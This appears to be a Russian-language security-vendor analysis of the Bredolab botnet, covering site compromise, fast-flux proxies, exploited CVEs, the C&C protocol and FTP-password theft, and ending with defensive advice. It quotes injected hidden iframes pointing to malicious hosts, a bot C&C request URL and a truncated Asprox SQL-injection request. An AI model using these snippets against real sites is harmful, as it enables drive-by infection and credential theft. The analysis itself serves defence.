Исследование

Ботнет Bredolab. Конец истории?

25 октября 2010 года отдел по борьбе с киберпреступлениями полиции Нидерландов объявил об обезвреживании 143 контролирующих серверов ботнета Bredolab. На следующий день в Международном аэропорту Еревана был задержан один из владельцев отключенной зомби-сети. Возможно, для ботнета Bredolab все кончено, но технологии, использованные для его создания, к сожалению, могут послужить для построения других ботнетов.

Особенности создания ботнета Bredolab

Вредоносные программы семейства Backdoor.Win32.Bredolab известны по крайней мере с середины 2008 года. Основной задачей Bredolab является загрузка на зараженный компьютер других вредоносных программ. Система управления загрузками, включающая в себя лоадер (Backdoor.Win32.Bredolab) и панель администрирования, предлагалась для продажи на хакерских форумах. Именно это программное обеспечение легло в основу ботнета Bredolab, появившегося в середине 2009 года и насчитывающего, по сведениям голландской полиции, около 30 миллионов компьютеров пользователей из разных стран мира.

Основная особенность ботнета состояла в способе его формирования. Для распространения вредоносной программы-бота использовались взломанные легитимные веб-сайты, посетители которых перенаправлялись на вредоносные ресурсы, с которых и происходило заражение пользовательских компьютеров Backdoor.Win32.Bredolab. И все это в автоматическом режиме.

Взломанные сайты

В самом начале существования ботнета на страницы взломанных веб-сайтов вставлялся скрытый тег Iframe со ссылкой на вредоносный ресурс. В конце 2009 года этот Iframe был заменен на обфусцированный JavaScript-код — скриптовый загрузчик Trojan-Downloader.JS.Pegel, при выполнении которого браузер расшифровывал и вставлял в HTML-страницу тег script со ссылкой на вредоносный ресурс. Задачей Pegel являлась загрузка на компьютер жертвы эксплойтов, которые в свою очередь загружали Bredolab. С середины лета 2010 года злоумышленники вновь стали использовать Iframe.

Отметим, что схема распространения Bredolab была похожа на ту, которую использовали создатели ботнета Gumblar, а Pegel по способу обфускации — на скриптовый загрузчик Gumblar.

Угроза носила глобальный характер. Веб-ресурсы, содержащие вредоносный код, были обнаружены в разных странах.


Распределение зараженных Trojan-Downloader.JS.Pegel веб-ресурсов по странам:
январь — октябрь 2010 г.

Риску заражения Bredolab подвергались пользователи многих стран.


Распределение детектирований Backdoor.Win32.Bredolab
на компьютерах пользователей по странам: январь — октябрь 2010 г.

Интернет-форумы запестрели сообщениями о внедренном в веб-страницы легитимных сайтов обфусцированном JavaScript-коде, который перенаправлял пользователей на веб-ресурсы, находящиеся под контролем злоумышленников.


Пример сообщения на форуме

В начале 2010 года на форумах было много сообщений, подобных приведенному выше. Тогда одним из основных отличительных признаков Pegel являлись комментарии /*GNU GPL*/, /*LGPL*/, /*CODE1*/ или /*Exception*/, размещенные в начале вредоносного JavaScript-кода. Код зараженной страницывыглядел примерно так:


Пример зараженной легитимной веб-страницы

В дальнейшем комментарий из кода скрипта исчез, а обфускация становилась все более сложной:


Пример зараженной страницы, с более сложной обфускацией вредоносного JavaScript-кода

Особого внимания заслуживает внешний вид ссылок на вредоносные ресурсы, используемых в течение нескольких первых месяцев с момента появления Pegel. Доменная часть и путь к вредоносному скрипту в этих ссылках состояли из известных доменных имен, следующих друг за другом, например,

hxxp://twitpic-com.fastclick.com.shinobi-jp.bestb***site.ru:8080/google.com/google.com/novoteka.ru/vagos.es/radikal.ru/
hxxp://google-com-sa.scribd.com.google-hr. bestb***site.ru:8080/bu520.com/bu520.com/google.com/56.com/ups.com/
hxxp://staples-com.toysrus.com.ngoisao-net.cars***net.ru:8080/google.com/google.com/livedoor.biz/atwiki.jp/torrents.ru/

Домены второго уровня состояли из идущих подряд двух-трех английских слов, друг с другом обычно не связанных. Создание вредоносных ссылок, похожих на адреса популярных веб-ресурсов, — один из излюбленных методов социальной инженерии, применяемых злоумышленниками для того, чтобы у пользователей возникало как можно меньше подозрений.

Позже доменная часть ссылок стала состоять из доменов второго уровня:

hxxp://help***ecare.at:8080/vkontakte-ru/google.com/chinahr.com.php
hxxp:// jui***ile.ru:8080/sify-com/google.com/last.fm.php
hxxp:// pass***tblues.ru:8080/google.com/kijiji.ca/pornhub.com.php
hxxp:// best***kstar.info:8080/google.com/travian.com/youjizz.com.php

Еще позже из ссылок исчезли длинные пути, путь поменялся на index.php.

Fast-flux сеть

Домены, содержащиеся во вредоносных ссылках, регистрировались в нескольких доменных зонах: ru, info, at, com. Каждый домен располагался на пяти IP-адресах, и, в свою очередь, каждый IP-адрес был связан со множеством вредоносных доменов.


Соответствие IP-адресов вредоносным доменам

Количество IP-адресов колебалось от 20 до 40. С течением времени какие-то адреса выбывали, новые адреса добавлялись. Периодически IP-адреса, связанные с определенным доменом, менялись.


A-записи в разные моменты времени

Оказалось, что все используемые IP-адреса принадлежали выделенным серверам (или виртуальным выделенным серверам) разных хостинг-провайдеров. Кроме того, дальнейший анализ показал, что на порту 80 на многих таких серверах размещались и легальные веб-сайты, никак не связанные с криминалом. Подобная картина наталкивает на мысль о том, что серверы, на которых располагались вредоносные домены, возможно, были каким-то образом взломаны. Часть зарегистрированных злоумышленниками доменов использовалась для DNS-сервисов, поднятых на тех же взломанных серверах, более того, NS-записи, как и A-записи, также периодически изменялись.


NS-записи в разные моменты времени

Описанное выше очень напоминает работу fast-flux сетей, а конкретней — двухпоточной fast-flux сети, в которой меняются еще и адреса DNS-серверов.

Еще один интересный момент: в абсолютном большинстве случаев все вредоносные ссылки указывали на порт 8080, а в HTTP-заголовках ответа сервера в поле Server значилось nginx. Nginx — это весьма популярный HTTP-сервер, который часто используется в качестве обратного прокси. Пользователи, пройдя по вредоносной ссылке, попадали на прокси-серверы, которые перенаправляли запрос к реальному центру управления ботнетом.

Fast-flux сеть, состоящая из прокси-серверов, помогает скрывать командный центр ботнета от специалистов по компьютерной безопасности. Все запросы на загрузку вредоносного кода, исходящие от вредоносного JavaScript-кода и эксплойтов, а также запросы Bredolab к командному центру проходили через прокси-серверы этой fast-flux сети.

Большинство доменов fast-flux сети регистрировались самими злоумышленниками. Однако в начале лета 2010 года появились домены, представляющие собой поддомены третьего уровня:

kollinsoy.skyef***on.com
aospfpgy.dogpl***tation.com
oployau.fancou***logger.com
hosotpoyu.credi***brary.com

В то время как домены третьего уровня указывали на прокси-серверы fast-flux сети ботнета Bredolab, на доменах второго уровня из этих ссылок располагались легитимные сайты. IP-адреса доменов третьего и второго уровня различались. Каким-то образом (через взлом пользовательских учетных записей или как-то иначе) злоумышленники получили возможность управлять настройками DNS этих сайтов.

Заражение компьютеров пользователей

После того как браузер пользователя с помощью Pegel или с помощью Iframe перенаправлялся на вредоносный сайт, с этого сайта скачивался JavaScript-код:


который после деобфускации выглядит так:


Отработав, JavaScript-код внедрял в страницу следующий HTML-код:

<div id=»DIV»>

<iframe src=»http://ma***gh.com:8080/index.php?Mvplkcm435j=11&pid=1″ width=»1″ frameborder=»0″ height=»1″></iframe>

</div>

По ссылке скачивался еще один JavaScript-код.


Его фрагмент после деобфускации выглядит так:


Этот код перенаправлял запрос пользователя в браузере на эксплойты.

Эксплойты использовали уязвимости: в Adobe Acrobat — в функциях util.printf (CVE-2008-2992), Collab.collectEmailInfo (CVE-2008-0655), Collab.getIcon (CVE-2009-0927), media.newPlayer (CVE-2009-4324); в виртуальной Java-машине (CVE-2010-0886) и в MDAC RDS.Dataspace ActiveX компоненте (CVE-2006-0003).


Фрагмент деобфусцированного JavaScript-кода в pdf-эксплойте

Java-эксплойт загружался в два этапа: сначала скачивалась страница Applet1.html, содержащая тег <applet> с именами jar-файлов. Затем загружались сами эксплойты.


HTML-страница Applet1.html, загружающая java-эксплойт

Отработав, эксплойты загружали на компьютер жертвы и запускали вредоносную программу Backdoor.Win32.Bredolab, основным предназначением которой является загрузка и запуск другого вредоносного ПО.


Этапы заражения пользовательского компьютера

Ботнет в действии

Запустившись на компьютере жертвы, для загрузки дополнительных вредоносных программ бот отправляет своему командному центру запрос следующего вида:

http://ba***il.ru:8080/new/controller.php?action=bot&entity_list=&first=1&rnd=981633&id=1&guid=3676040431.

В теле ответа, приходящего с командного центра ботнета, находятся зашифрованные исполняемые файлы (как правило, 3-4 файла), идущие друг за другом.


Ответ командного центра, содержащий зашифрованное вредоносное ПО

В заголовке ответа содержится поле Entity-Info, состоящее из списка элементов, разделенных точкой с запятой. Каждый элемент описывает один исполняемый файл, находящийся в теле ответа. Элемент разделен двоеточиями на числовые поля, например второе поле каждого элемента содержит размер соответствующего исполняемого файла. Таким образом, можно определить, где заканчивается один файл и начинается следующий.

В заголовке ответа в поле Magic-Number содержится ключ для расшифровки тела ответа. Он состоит из чисел, разделенных символом ‘|’. Первое число является длиной ключа, второе — обозначает алгоритм шифрования, цифра 1 — это обычный XOR; оставшаяся часть поля представляет собой сам ключ расшифровки. Здесь необходимо отметить, что и вредоносный JavaScript-код, и эксплойты, и Bredolab, и другие вредоносные программы, устанавливаемые Bredolab на компьютер жертвы, загружались с одних и тех же доменов, входящих в fast-flux сеть ботнета Bredolab.

Bredolab загружал на компьютер жертвы довольно широкий спектр вредоносного ПО:

Trojan-Spy.Win32.Zbot,
Trojan-Spy.Win32.SpyEyes,
Trojan-Spy.Win32.BZub,
Backdoor.Win32.HareBot,
Backdoor.Win32.Blakken,
Backdoor.Win32.Shiz,
Trojan-Dropper.Win32.TDSS,
Trojan-Ransom.Win32.PinkBlocker,
Trojan.Win32.Jorik.Oficla.

И список этот далеко не полный.

Некоторые из этих вредоносных программ передают в запросах к своим командным центрам параметры, обозначающие идентификационный номер партнера. Например, Backdoor.Win32.Shiz, загруженный Bredolab, передает параметр seller=15, означающий, что он был установлен в систему с помощью Bredolab. Передача таких идентификационных номеров на C&C обычно свидетельствует о том, что вредоносная программа распространяется через партнерки. Это, а также разнообразие софта, загружаемого Bredolab, указывает на то, каким образом владельцы ботнета Bredolab монетизировали свои усилия по созданию ботнета — они зарабатывали на загрузках, то есть принимали заказы от других злоумышленников на загрузку их вредоносного ПО.

Из всего набора загружаемого ПО особого внимания заслуживает Trojan-PSW.Win32.Agent.qgg. Будучи установленным на пользовательской машине, этот троянец пытается найти пароли к ftp-аккаунтам, сохраненные следующими клиентами:

Filezilla 3 Ftp Explorer
Ftp Navigator FlashFXP
BulletProof Ftp FTPRush
CuteFtp Firefox
ALFTP Auto FTP
Far 2 Total Command
Frigate 3  

Найдя пароли, троянец отправляет их на сервер злоумышленников.

Trojan-PSW.Win32.Agent.qgg интересен потому, что сервер, на который этот троянец отправлял украденные пароли, принадлежал самим владельцам ботнета Bredolab. И именно с помощью украденных паролей к ftp-аккаунтам происходило заражение легальных сайтов вредоносным кодом. Такая замкнутая схема оказалась довольно эффективной.

Вредоносный цикл

После детального изучения стала ясна более или менее полная картина создания ботнета.

  1. При посещении зараженного Pegel/Iframe сайта браузер пользователя подгружает с вредоносного ресурса страницу, содержащую вредоносный JavaScript-код.
  2. Этот код инициирует заражение компьютера пользователя программой Bredolab , которая загружает дополнительное вредоносное ПО, включая троянца, похищающего пароли к ftp-аккаунтам. Происходит это все через один из обратных прокси-серверов, скрывающих настоящий центр управления ботнетом.
  3. Через какое-то время происходит заражение веб-сайта, для которого были украдены учетные записи. С использованием похищенных логина и пароля к ftp-аккаунту с сервера скачивается содержимое веб-сайта, при этом скачивается не весь контент, а файлы, начинающиеся на index*, default*, main*, а также все файлы с расширением *.js. Обратно на веб-сайт эти файлы закачиваются с уже встроенным вредоносным кодом. Интересно отметить, что как скачивание, так и последующее закачивание происходит со множества IP-адресов. Каждый файл может скачиваться с одного IP-адреса, а закачиваться уже с другого.
  4. После того как другой пользователь заходит на зараженный сайт, описанная схема повторяется.

Очевидно, что машины, участвовавшие в заражении сайта, являлись прокси-серверами. Злоумышленники использовали две группы прокси-серверов: одну для заражения пользовательской машины, вторую — для заражения сайта. Пересечений между первой и второй группой прокси-серверов выявлено не было.


Фрагмент ftp-лога, иллюстрирующий процесс заражения веб-сайта


Схема создания ботнета Bredolab

Эту схему распространения злоумышленники использовали на протяжении всего времени существования ботнета Bredolab.

Трафик

Описанная выше схема самоподдержания ботнета, безусловно, эффективна, хотя бы в силу автоматизации процесса заражения новых пользовательских машин. Однако у нее есть один недостаток. Схема начинает работать с момента, когда пользователя перенаправляют с зараженного легитимного ресурса на вредоносный домен из fast-flux сети. При этом количество зараженных Bredolab компьютеров пользователей, имеющих административный доступ к каким-либо веб-сайтам, ограничено. Соответственно, ограничено и число веб-ресурсов, которые злоумышленники могли инфицировать, используя украденные у этих пользователей пароли к ftp-аккаунтам. Сайты с высокой посещаемостью достаточно оперативно очищались от вредоносного ПО — чем больше аудитория сайта, тем больше вероятность того, что кто-то из посетителей заметит неладное и сообщит администрации сайта.

Количество зараженных в результате работы этой схемы компьютеров оказалось не достаточным для злоумышленников. Чтобы повысить эффективность атаки, необходимо было увеличить трафик число посетителей, перенаправленных на вредоносные домены fast-flux сети. Сделать это злоумышленники пытались различными способами.

Зараженные обфусцированным JavaScript-кодом легитимные сайты использовались для перенаправления пользователей на вредоносные ресурсы с декабря 2009 года. Вредоносный код мог поджидать пользователей даже на очень популярных сайтах. Открытая пользователем в браузере веб-страница – в кодовом виде – могла, например, иметь следующий вид:


Пример инфицированной веб-страницы

После исполнения браузером зашифрованного кода в страницу вставлялся тег <script>, содержащий Trojan-Downloader.JS.Pegel, который перенаправлял пользователя на вредоносный ресурс.

Пользователи могли получить ссылку на вредоносный контент «с доставкой на дом» в спаме. В июне 2010 года модификация Trojan-Downloader.JS.Pegel.g заняла первое место в списке наиболее распространенных в почте вредоносных вложений.


Наиболее распространенные в почте вредоносные файлы в июне 2010 г.

Некоторые вредоносные спам-атаки были довольно изощренными. В том же июне прошла волна спама, имитировавшего сообщения от имени таких популярных сайтов, как Twitter, Youtube, Amazon, Facebook, Skype и др. Письма содержали либо вредоносный код Pegel в HTML-вложении, либо ссылки на зараженные сайты.


Пример спам-письма со ссылками на вредоносный сайт

Если пользователь проходил по ссылке, то с зараженного сайта в браузер загружалась HTML-страница, имеющая следующий код:

PLEASE WAITING 4 SECOND…

<meta http-equiv=»refresh» content=»4;url=http://spr***team.com»>
</head><body>
<iframe src=»http://yu***eyes.ru:8080/index.php?pid=10″ style=»visibility: hidden;» height=»1″
width=»1″></iframe>
</body></html>

Тег meta-refresh через несколько секунд перенаправлял пользователя на страницу сайта Canadian Pharmacy, торгующего виагрой и другими медикаментами.


Сайт Canadian Pharmacy

В то же время по ссылке, содержащейся в теге Iframe, браузер перенаправлялся на один из прокси-серверов, входящих в fast-flux сеть, для заражения пользовательского компьютера Bredolab.

В августе был замечен еще один источник трафика. Спам-бот Asprox, обладающий возможностью осуществлять SQL-инъекции сайтов, написанных на ASP, начал заражать легитимные сайты, внедряя в них Iframe со ссылкой на nem****n.ru/tds/go.php?sid=1.

GET /page.asp?id=425; declare%20@s%20varchar(4000);set%20@s=cast(0x6445634c417245204054207661526368615228323535292c406320…
5205461424c655f435552736f7220%20as%20varchar(4000));exec(@s);–

Пример SQL-инъекции, используемой ботом Asprox

После того как пользователь заходил на зараженный сайт, его браузер открывал ссылку, содержащуюся в теге Iframe. По этой ссылке размещалась TDS (traffic distribution system — система распределения трафика), которая перенаправляла браузер на вредоносные домены, входящие в принадлежащую владельцам ботнета Bredolab fast-flux сеть, для заражения компьютера пользователя Bredolab. В сутки таким образом перенаправлялось около 10 тыс. пользователей.

Наконец, в сентябре стало известно об очередном способе перенаправления пользователей на домены fast-flux сети ботнета Bredolab. Взлому подверглись легитимные сайты, использующие баннерный движок OpenX для показа рекламы. Эксплуатировалась уязвимость в компоненте Open Flash Chart 2, позволяющая злоумышленникам загружать произвольные файлы на сервер. В итоге на популярных сайтах, в числе которых оказались thepiratebay.org, tucows.com, afterdawn.com, esarcasm.com, tutu.ru, были подменены баннеры. Баннеры представляли собой флеш-файлы, содержащие ActionScript-код, который перенаправлял пользователей на вредоносные ресурсы. В то же время на официальный сайт проекта OpenX была организована DDoS-атака — в результате пользователи в течение нескольких дней были лишены возможности скачать обновление движка и тем самым закрыть уязвимость.


Фрагмент вредоносного swf-файла


Фрагмент ActionScript-кода, вставляющего в HTTP-страницу тег script
со ссылкой на вредоносный сайт

После сильного всплеска в июне, связанного с распространением в спаме писем со ссылками на вредоносные ресурсы ботнета, произошел спад активности Pegel. Несмотря на это, угроза еще могла бы проявить себя — если бы всему ботнету Bredolab не пришел конец.

Заключение

Владельцы ботнета Bredolab создали 30-миллионную зомби-сеть, которая функционировала в течение продолжительного времени. Для поддержания ботнета в рабочем состоянии злоумышленники довольно умело и эффективно скрывали центр управления ботнетом, используя технику fast-flux сетей. Такая схема не только обеспечивает хорошую отказоустойчивость командного центра ботнета, но и упрощает управление вредоносным контентом: вместо того чтобы администрировать вредоносные сайты на множестве узлов, киберпреступникам достаточно разместить один такой сайт на C&C и настроить на него редиректоры.

Ботнет Bredolab ввиду своей сложности, скорее всего, контролировался не одним человеком. Однако пока известно об аресте только одного злоумышленника, связанного с этим ботнетом. Существует вероятность того, что остальные участники преступной группы спустя какое-то время продолжат свое дело, так как схема, придуманная и реализованная ими, достаточно эффективна. Технологии, использованные для создания и поддержки работоспособности ботнета: обфускация JavaScript кода, загружающего эксплойты, замкнутый цикл построения зомби-сети, создание сетевой инфраструктуры, использующей fast-flux, и т.д. — могут быть приняты на вооружение и другими злоумышленниками.

Одной из главных особенностей ботнета Bredolab являлся близкий к замкнутому цикл построения зомби-сети, когда инфицированные пользовательские машины заражают веб сайты, посредством которых заражаются новые пользовательские ПК. Плюс к этому постоянно шел поиск новых способов перенаправления пользователей на вредоносные домены. Основным источником опасности при такой схеме служат зараженные веб-сайты, посещение которых приводит к тому, что на машины пользователей загружается вредоносное ПО. Информация с зараженных пользовательских компьютеров в свою очередь может быть использована для заражения веб-сайтов.

Для того чтобы обезопасить себя от подобного типа угроз, необходимо придерживаться следующих рекомендаций по защите пользовательских компьютеров и веб-сайтов.

Защита пользовательских компьютеров

  • Необходимо своевременно устанавливать обновления и для операционной системы, и для программ сторонних разработчиков, так как большинство эксплойтов и червей используют уязвимости в ПО, которые уже закрыты в обновленных версиях соответствующих продуктов.
    bРазумеется, надо установить антивирусное ПО и поддерживать антивирусные базы в актуальном состоянии. Антивирус хоть и не панацея, но способен значительно снизить риск заражения компьютера.

  • Ну и конечно, не стоит проходить по ссылкам в спамовых письмах, в сообщениях от незнакомых людей в социальных сетях и программах мгновенного обмена сообщениями. Это, как говорится, без комментариев.

Защита сайтов

  • Для заражения веб-сайта могут быть использованы уязвимости в коде сайта. Для того чтобы свести к минимуму возможность использования злоумышленниками уязвимостей, необходимо следить за выпуском обновлений ПО и своевременно обновлять программное обеспечение сайта.
  • Следует помнить о существовании сервисов и систем сканирования сайтов для обнаружения вредоносного кода, а также несанкционированного изменения контента.
  • В целях безопасности лучше отключить автоматическое сохранение ftp-паролей в ftp-клиентах (напомним, что многие программы, ворующие пароли от ftp-аккаунтов, в частности используемый Bredolab Trojan-PSW.Win32.Agent.qgg, ищут на зараженном компьютере именно сохраненные пароли).
  • Может оказаться полезным периодически делать резервные копии сайта (баз данных, файлов, в которых могут храниться важные данные) на случай, если в результате заражения данные окажутся испорченными.
  • Если сайт все-таки оказался заражен, простого удаления вредоносного кода с сайта может быть недостаточно. Например, если были похищены пароли для ftp, то через некоторое время сайт может быть снова заражен. Для устранения проблемы нужно выполнить следующие шаги:
    1. Проверить наличие обновлений для ПО, установленного на сайте, и загрузить их (чтобы исключить заражение сайта через уязвимости).
    2. Используя антивирусный продукт с самыми свежими антивирусными базами, провести полное сканирование пользовательских компьютеров, с которых есть доступ к ftp сайта.
    3. Сменить пароли к ftp-аккаунту.
    4. Очистить сайт от вредоносного кода.

Следуя приведенным выше рекомендациям, можно значительно снизить риск того, что ваши компьютерные ресурсы окажутся частью какого-нибудь ботнета. Не забывайте, что заражение проще предупредить, чем вылечить.

Ботнет Bredolab. Конец истории?

Ваш e-mail не будет опубликован. Обязательные поля помечены *

 

Отчеты

CloudSorcerer: новая APT-угроза, нацеленная на российские государственные организации

«Лаборатория Касперского» обнаружила новую APT-угрозу CloudSorcerer, нацеленную на российские государственные организации и использующую облачные службы в качестве командных серверов аналогично APT CloudWizard.

StripedFly: двуликий и незаметный

Разбираем фреймворк StripedFly для целевых атак, использовавший собственную версию эксплойта EternalBlue и успешно прикрывавшийся майнером.

Подпишитесь на еженедельную рассылку

Самая актуальная аналитика – в вашем почтовом ящике